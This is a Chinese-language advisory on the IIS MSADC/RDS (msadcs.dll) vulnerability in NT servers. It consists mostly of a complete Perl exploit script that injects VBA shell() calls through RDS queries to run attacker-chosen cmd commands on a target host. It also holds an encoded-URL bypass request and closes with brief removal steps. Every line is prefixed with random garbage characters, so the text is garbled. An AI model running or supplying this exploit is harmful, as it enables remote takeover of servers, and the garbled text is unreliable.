IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
O 9p| a%o H:\k}*w 涉及程序：
P>6{&( Microsoft NT server
aN=B] {! r%N)bNk~ 描述：
tI{_y 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
'W#D(l9nI 1nOCQ\$l 详细：
bN88ua}k{ 如果你没有时间读详细内容的话，就删除:
|Ds=)S"
K c:\Program Files\Common Files\System\Msadc\msadcs.dll
A(N4N 有关的安全问题就没有了。
]{L jRSV +^<](z 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
cGD(.= \C1nZk?3 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
,=N.FS 关于利用ODBC远程漏洞的描述，请参看:
Xm 2'6f, rN{ c7/| http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 07 $o;W @ xwty<?dRW1 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
|)G<,FJQE_ http://www.microsoft.com/security/bulletins/MS99-025faq.asp vcd\GN*4f { BHO/q3 这里不再论述。
G#1GXFDO{ PxE3K-S)G 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
Lh<).<S [ 1KuzCcK} /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
3k?X-|O8AZ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
{}x^ri~ ]+$?u&0?w [trwBZ^D~ #将下面这段保存为txt文件，然后: "perl -x 文件名"
bJ;'`sw1 ;UP $yM; #!perl
UY 2O Z& & #
2Hv+W-6v # MSADC/RDS 'usage' (aka exploit) script
yiI1x*^ #
>"<Wjr8W!$ # by rain.forest.puppy
!g. ? #
qjc4.,/ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
RX5dO% # beta test and find errors!
b_):MQ1{ xP ,hTE use Socket; use Getopt::Std;
YgoBHE0# getopts("e:vd:h:XR", \%args);
F sryEHz 188*XCtjQ9 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
5PnDN \ as_PoCoss if (!defined $args{h} && !defined $args{R}) {
5 u0HI print qq~
eR" <33{ Usage: msadc.pl -h <host> { -d <delay> -X -v }
;({W#Wa -h <host> = host you want to scan (ip or domain)
Z(!\% mn -d <seconds> = delay between calls, default 1 second
@ry _nKr9 -X = dump Index Server path table, if available
2 Vrw -v = verbose
1'\/,Es -e = external dictionary file for step 5
IaXeRq?< fd2T=fz- Or a -R will resume a command session
O7IJ%_A& 8&aq/4:q0 ~; exit;}
J)C/u{o K96<M);:g $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
!0cD $^7 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
U b!(H^zu if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
O1mK e%'| if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
V Au&@a` $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
?3xzd P if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
jalg5`PU0 DDH:)=;z if (!defined $args{R}){ $ret = &has_msadc;
nj53G67y die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
Wiu"k%Qsh
U`m54f@U print "Please type the NT commandline you want to run (cmd /c assumed):\n"
}AH]
th . "cmd /c ";
C73 kJa $in=<STDIN>; chomp $in;
:4%k9BGAj" $command="cmd /c " . $in ;
7Rt9od<
)! LE>]8[ f6S if (defined $args{R}) {&load; exit;}
E+w<RNBmz ` ^y7f print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
n=ux5M &try_btcustmr;
5[u]E~Fl} xUistwq print "\nStep 2: Trying to make our own DSN...";
Vy, DN~ag &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
hfy_3} _ "6?0h[uff print "\nStep 3: Trying known DSNs...";
/~f'}]W &known_dsn;
xlg9T vvI q%?in+l print "\nStep 4: Trying known .mdbs...";
H+Sz=tg 5 &known_mdb;
1 Ya`| ?FS A$:U'ZG_ if (defined $args{e}){
qm o9G print "\nStep 5: Trying dictionary of DSN names...";
eHDN\QA 2 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
KMjhZap% R!N%o~C 2- print "Sorry Charley...maybe next time?\n";
\)?H J exit;
l2P=R)@{ ]`+HO=0 ##############################################################################
hFl^\$Re 9 j9TPyC/2 sub sendraw { # ripped and modded from whisker
MFAH%Z$ sleep($delay); # it's a DoS on the server! At least on mine...
n#OB%@]<V my ($pstr)=@_;
J6FV]Gpv socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
?m? ::R H die("Socket problems\n");
r|Tcfk]% if(connect(S,pack "SnA4x8",2,80,$target)){
= {wcfhUl+ select(S); $|=1;
8eHyL print $pstr; my @in=<S>;
uGEfIy 2 select(STDOUT); close(S);
}d}Ke_Q0 return @in;
exUu7& *: } else { die("Can't connect...\n"); }}
$@"g^,n ^RtIh-Z.9 ##############################################################################
RuVGG) <3C*Z"aQ>| sub make_header { # make the HTTP request
^qD$z=z - my $msadc=<<EOT
cq /$ N POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
'u |c User-Agent: ACTIVEDATA
tHwMX1 IG Host: $ip
@wNG{Stj Content-Length: $clen
6MMOf\
Connection: Keep-Alive
OA"q[s JB[~;nLlC ADCClientVersion:01.06
Hn+~5@. Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
!NvI:C_4| l3I:Q^x@ --!ADM!ROX!YOUR!WORLD!
r:ptQo`1- Content-Type: application/x-varg
pohp&Tcm Content-Length: $reqlen
@8r pD"x S2VA{9:m EOT
Q:k}Jl ; $msadc=~s/\n/\r\n/g;
'F0e(He@, return $msadc;}
DwE[D]7o T !WT;A ##############################################################################
AogV F ! \.pq 2 sub make_req { # make the RDS request
^N{h3b8 my ($switch, $p1, $p2)=@_;
*]/ zc1Q4M my $req=""; my $t1, $t2, $query, $dsn;
DjQFi ' =8d?aeF if ($switch==1){ # this is the btcustmr.mdb query
'XP7"
N47O $query="Select * from Customers where City=" . make_shell();
MJ
[m $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
LR.<&m%~. $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
41?HY{&2 /zVOK4BqN+ elsif ($switch==2){ # this is general make table query
B; h"lv $query="create table AZZ (B int, C varchar(10))";
.jT#:_ $dsn="$p1";}
9c,'k#k N.{H,oO ` elsif ($switch==3){ # this is general exploit table query
Jgd'1'FOs $query="select * from AZZ where C=" . make_shell();
++ Ts $dsn="$p1";}
V_}"+&W9 ;dZZ;#k% elsif ($switch==4){ # attempt to hork file info from index server
T{ XS")Vw $query="select path from scope()";
9u}Hmb $dsn="Provider=MSIDXS;";}
s/ qYa]) tq6!`L }3 elsif ($switch==5){ # bad query
_
y8Wn}19f $query="select";
o 5uph=Q{ $dsn="$p1";}
""F5z,' jc[Y}gd, $t1= make_unicode($query);
O$j7i:G'5 $t2= make_unicode($dsn);
'3D XPR^B6 $req = "\x02\x00\x03\x00";
F {4bo$~ > $req.= "\x08\x00" . pack ("S1", length($t1));
PB`Y
g $req.= "\x00\x00" . $t1 ;
x vl #w $req.= "\x08\x00" . pack ("S1", length($t2));
3z9d!I^>k $req.= "\x00\x00" . $t2 ;
&n }f? $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
!_ D0vI; return $req;}
9YQb & }DfshZ0QM ##############################################################################
e9 5Lo+:f < ?}-$ sub make_shell { # this makes the shell() statement
&L Zn
FR return "'|shell(\"$command\")|'";}
/saIs%(fU ?5|>@> ##############################################################################
Pz |>"' q{I%Q)t)gU sub make_unicode { # quick little function to convert to unicode
I%X6T@P my ($in)=@_; my $out;
j2.|ln"! for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
{Y=WW7:Qx return $out;}
~{B7 k: K;Uvb(m{& ##############################################################################
MvHm)h j9 4=hJVKi sub rdo_success { # checks for RDO return success (this is kludge)
BBRR) my (@in) = @_; my $base=content_start(@in);
KNpl:g3{<Q if($in[$base]=~/multipart\/mixed/){
yyRiP|hJ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
g:D>.lKd return 0;}
|[ k.ii6iO ~>Fu5i $i ##############################################################################
7#ibN! q #ClnG* sub make_dsn { # this makes a DSN for us
%D}kD6= my @drives=("c","d","e","f");
X0H!/SlS print "\nMaking DSN: ";
{V$|3m>:* foreach $drive (@drives) {
Qu"\wE^.` print "$drive: ";
}c`"_L my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
#Z`q+@@ ]A "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
w?k>:,'[ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
i6tf2oqO7 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
B p`] return 0 if $2 eq "404"; # not found/doesn't exist
A8fOQ if($2 eq "200") {
$i}y 8nlQ foreach $line (@results) {
RJ ||} 5 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
aS{n8P6vW } return 0;}
;I 9&]
[.'| _l ##############################################################################
<+ Dn8 3<Zq ]jk?n sub verify_exists {
bv9i*] my ($page)=@_;
gG:Vt}N my @results=sendraw("GET $page HTTP/1.0\n\n");
?U5{Wa85D return $results[0];}
UkT=W!cq T/G z94c ##############################################################################
B^Nf #XN( ;R5 `"` sub try_btcustmr {
~u !|qM my @drives=("c","d","e","f");
8#
>op6^ my @dirs=("winnt","winnt35","winnt351","win","windows");
]kG"ubHV?h $@Rxrx_@M foreach $dir (@dirs) {
#A Sz;$P print "$dir -> "; # fun status so you can see progress
U; V7 u/{ foreach $drive (@drives) {
lL3kh J:% print "$drive: "; # ditto
uK#4(eY=W $reqlen=length( make_req(1,$drive,$dir) ) - 28;
'(VJ& UlS2 $reqlenlen=length( "$reqlen" );
Y. 5_6'Eo? $clen= 206 + $reqlenlen + $reqlen;
gsv uE " 4K(jXq| my @results=sendraw(make_header() . make_req(1,$drive,$dir));
D},>mfzF if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
5k3n\sqZA else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
<fjX[l<Uz {3p4 :*} ##############################################################################
A v$^ F/bT)QT<f sub odbc_error {
?m= N]!n my (@in)=@_; my $base;
*,)M d[ my $base = content_start(@in);
:q7Wy&ow if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
k\YG^I $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
*{@Nq=fE $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/W30~y $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
:P\7iW return $in[$base+4].$in[$base+5].$in[$base+6];}
;| 5F[ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Ar|0b}=)> print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
el<s8:lA $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Eh;'S"{/?j # E^1|: ##############################################################################
f ue(UMF~ 0r] t `{H sub verbose {
}6 }l7x my ($in)=@_;
r
CHl?J return if !$verbose;
-M~:lK]n print STDOUT "\n$in\n";}
=:,g | y#
Jx ##############################################################################
S8w _ii3zd v
~?qz5:K~ sub save {
o&zJ=k [4 my ($p1, $p2, $p3, $p4)=@_;
cAqLE\h open(OUT, ">rds.save") || print "Problem saving parameters...\n";
fZ zoAzfv2 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
|&nS|2.' close OUT;}
qIE9$7*X V/LLaZ TE ##############################################################################
[M}{G5U . ]z;I _- sub load {
+nhLIO{{L my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
M j?`j_X open(IN,"<rds.save") || die("Couldn't open rds.save\n");
4qbBc1,7y @p=<IN>; close(IN);
E *6C w
l $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
k&q;JyUi $target= inet_aton($ip) || die("inet_aton problems");
kT66;Y[ print "Resuming to $ip ...";
B =T'5& $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
nH'e?>x~e if($p[1]==1) {
L>&t| T2 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
\0I _< $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
,RI Gc US my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
]^ 'Kd*x if (rdo_success(@results)){print "Success!\n";}
l0w]`EE else { print "failed\n"; verbose(odbc_error(@results));}}
m@F`!qY~Y\ elsif ($p[1]==3){
|A9F\A->4 if(run_query("$p[3]")){
x8\?}UnB print "Success!\n";} else { print "failed\n"; }}
5iw<>9X* elsif ($p[1]==4){
fLD, 5SN if(run_query($drvst . "$p[3]")){
~i{(<.he print "Success!\n"; } else { print "failed\n"; }}
c(E{6g? exit;}
e/&{v8Hmb ]BZA:dd.G ##############################################################################
q[ZT Hd.- =tn)}Y.<e sub create_table {
0c]/ bs{} my ($in)=@_;
z}9(x.I $reqlen=length( make_req(2,$in,"") ) - 28;
w"|L:8 $reqlenlen=length( "$reqlen" );
1..+F0U $clen= 206 + $reqlenlen + $reqlen;
a=1@*ID my @results=sendraw(make_header() . make_req(2,$in,""));
NC`aP0S return 1 if rdo_success(@results);
o ]_dJB my $temp= odbc_error(@results); verbose($temp);
vjCu4+w($Z return 1 if $temp=~/Table 'AZZ' already exists/;
3E]plj7$ return 0;}
^4hO 1~`fVg ##############################################################################
HT S0s\R$ uc\Kg1{ sub known_dsn {
9c'xHO` # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
f:w?pE my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
CL;}IBd a "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
~.nmI& 3 "banner", "banners", "ads", "ADCDemo", "ADCTest");
~2N"#b&J J#(LlCs?@c foreach $dSn (@dsns) {
j#x6
print ".";
}W8;= $jr next if (!is_access("DSN=$dSn"));
e4_rC'= if(create_table("DSN=$dSn")){
c )g\ / print "$dSn successful\n";
W:n ef<WH if(run_query("DSN=$dSn")){
3m)0z{n print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
>J?fl8 print "Something's borked. Use verbose next time\n";}}} print "\n";}
o4,6. 1} SmH=e@y~Lx ##############################################################################
/NFj(+&g+ QXFo1m sub is_access {
1{. |+S Z! my ($in)=@_;
70nqD>M4 $reqlen=length( make_req(5,$in,"") ) - 28;
GPudaF{ $reqlenlen=length( "$reqlen" );
X-Kh(Z $clen= 206 + $reqlenlen + $reqlen;
T!kN)#S my @results=sendraw(make_header() . make_req(5,$in,""));
n\'4 my $temp= odbc_error(@results);
1#2 I verbose($temp); return 1 if ($temp=~/Microsoft Access/);
MUc$ j& return 0;}
@ioJ] $o7 E_wCN&`[ ##############################################################################
6l1jMm|=
X g2ixx+`?|: sub run_query {
hH 3RP{'= my ($in)=@_;
{9pZ)tB $reqlen=length( make_req(3,$in,"") ) - 28;
L}b.ulkMD $reqlenlen=length( "$reqlen" );
N!=v4f $clen= 206 + $reqlenlen + $reqlen;
Lv7(st%` my @results=sendraw(make_header() . make_req(3,$in,""));
pa3{8x{9m return 1 if rdo_success(@results);
QO~P7r|A my $temp= odbc_error(@results); verbose($temp);
i$#;Kpb`^ return 0;}
5H9z4-i x? lNh70G8^p ##############################################################################
AKfDXy o[w:1q7 sub known_mdb {
-f^tE, - my @drives=("c","d","e","f","g");
6l
x>>J!H
my @dirs=("winnt","winnt35","winnt351","win","windows");
:\c ^*K(9 my $dir, $drive, $mdb;
ie95rZp my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
iHf $ & h)yro # this is sparse, because I don't know of many
SHgN~ Um my @sysmdbs=( "\\catroot\\icatalog.mdb",
4l'fCZhA} "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
+ GN(Ug'R "\\system32\\certmdb.mdb",
]Q1 y NtN "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
_6hQ %hv8 F~W6Bp^W my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
ue WEc^_> "\\cfusion\\cfapps\\forums\\forums_.mdb",
3(N$nsi "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
NwvC[4 "\\cfusion\\cfapps\\security\\realm_.mdb",
B d fwa "\\cfusion\\cfapps\\security\\data\\realm.mdb",
xm~ `7~nFR "\\cfusion\\database\\cfexamples.mdb",
_D&598 xx "\\cfusion\\database\\cfsnippets.mdb",
|SSSH
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
4k1xy## "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
J!(<y(l "\\cfusion\\brighttiger\\database\\cleam.mdb",
G>}255 qY "\\cfusion\\database\\smpolicy.mdb",
eC4[AX6e "\\cfusion\\database\cypress.mdb",
8kIksy "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
2@],ZLa "\\website\\cgi-win\\dbsample.mdb",
ML
9' | "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
)2o?#8J "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
O 8r|8]o ); #these are just
pah'>dAL foreach $drive (@drives) {
b_taC ^-l foreach $dir (@dirs){
|>^JRx foreach $mdb (@sysmdbs) {
SKN`2[ahD print ".";
/36:ms A if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
G~a ZJ, print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
VCkq"f7c w if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
O=t_ yy print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Ll' t>) } else { print "Something's borked. Use verbose next time\n"; }}}}}
YkSl^j[DHs +Kc foreach $drive (@drives) {
CK@@HSm}l foreach $mdb (@mdbs) {
WpP}s tam/ print ".";
V f&zL
Sgr if(create_table($drv . $drive . $dir . $mdb)){
FD
#8mg print "\n" . $drive . $dir . $mdb . " successful\n";
O0v}4 3J [ if(run_query($drv . $drive . $dir . $mdb)){
PFjL1=7I print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
9$w.9`Py } else { print "Something's borked. Use verbose next time\n"; }}}}
q e#tj/aZ }
0[(8 ? OM!+O ##############################################################################
!f [_+CD <'oQ \eB sub hork_idx {
PC8Q"O print "\nAttempting to dump Index Server tables...\n";
(ZZ8L-s print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
>+1duAC $reqlen=length( make_req(4,"","") ) - 28;
q3!bky\ $reqlenlen=length( "$reqlen" );
lUZ +YD4 $clen= 206 + $reqlenlen + $reqlen;
.`eN8Dl1 my @results=sendraw2(make_header() . make_req(4,"",""));
h[Y1?ln&h if (rdo_success(@results)){
K\r8g=U my $max=@results; my $c; my %d;
bAqA1y3= for($c=19; $c<$max; $c++){
.L~AL|2_ $results[$c]=~s/\x00//g;
(w3YvG. $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
2/^3WY1U $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
</z Eg3F\ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
\M^bD4';> $d{"$1$2"}="";}
rM%1GPV ob foreach $c (keys %d){ print "$c\n"; }
4+8@`f>s } else {print "Index server doesn't seem to be installed.\n"; }}
g3y ~bf {;1\+ f ##############################################################################
H7n>Vx:L- Q)h(nbbVak sub dsn_dict {
C1)!f j= open(IN, "<$args{e}") || die("Can't open external dictionary\n");
J
ZS:MFA while(<IN>){
1))8
A@, $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
oG\Vxg* next if (!is_access("DSN=$dSn"));
2[W&s& if(create_table("DSN=$dSn")){
a;+9mDXx: print "$dSn successful\n";
lL3U8}vn if(run_query("DSN=$dSn")){
+r2-S~f3N print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
CA~- rv print "Something's borked. Use verbose next time\n";}}}
d$!RZHo10V print "\n"; close(IN);}
{EQOP] g) jYFfGfH ##############################################################################
~ $^XP.a. }Sv:`9= sub sendraw2 { # ripped and modded from whisker
T0)@pt7> sleep($delay); # it's a DoS on the server! At least on mine...
DTL.Bsc-. my ($pstr)=@_;
~f98#43 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
8l`*]1.W< die("Socket problems\n");
q 2E_ A if(connect(S,pack "SnA4x8",2,80,$target)){
wIt}dc print "Connected. Getting data";
Fx.=#bVX7 open(OUT,">raw.out"); my @in;
sO@Tf\d select(S); $|=1; print $pstr;
%.|@]!C while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
KZf+MSq?
B close(OUT); select(STDOUT); close(S); return @in;
tR$NRMZ. } else { die("Can't connect...\n"); }}
P& Vv /D j8sH|{H!Nq ##############################################################################
8":Q)9;% O=7CMbS3 sub content_start { # this will take in the server headers
|sE'XT4ag my (@in)=@_; my $c;
WpvhTX for ($c=1;$c<500;$c++) {
% pCTN P if($in[$c] =~/^\x0d\x0a/){
es7=%!0 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
& oMh]Z*: else { return $c+1; }}}
"w<#^d_6 return -1;} # it should never get here actually
K[YyBE id ~D>p0+-c ##############################################################################
!4+<<(B=E $XH^~i; sub funky {
Eu3E-K@y my (@in)=@_; my $error=odbc_error(@in);
");a3 hD if($error=~/ADO could not find the specified provider/){
`R^g U]Z, print "\nServer returned an ADO miscofiguration message\nAborting.\n";
$6IJ P\ exit;}
Nh + H 9 if($error=~/A Handler is required/){
pA4xb r 2 print "\nServer has custom handler filters (they most likely are patched)\n";
%W S+(0*1 exit;}
JBZ@'8eqi] if($error=~/specified Handler has denied Access/){
[:*)XeRK print "\nServer has custom handler filters (they most likely are patched)\n";
_+MJ%'>S exit;}}
:ShT|n7 jPkn[W#
6 ##############################################################################
aN3;`~{9 e\/w' sub has_msadc {
J 'r^/ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
GQ
;;bcj& my $base=content_start(@results);
B9S@(/"7 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
lyhiFkO
iH return 0;}
A=0'Ks Vxt+]5X ########################
'J|_2* MolgwVd 6Kz,{F@ 解决方案：
x,' !gT:j 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
\~ wMfP8 2、移除web 目录: /msadc
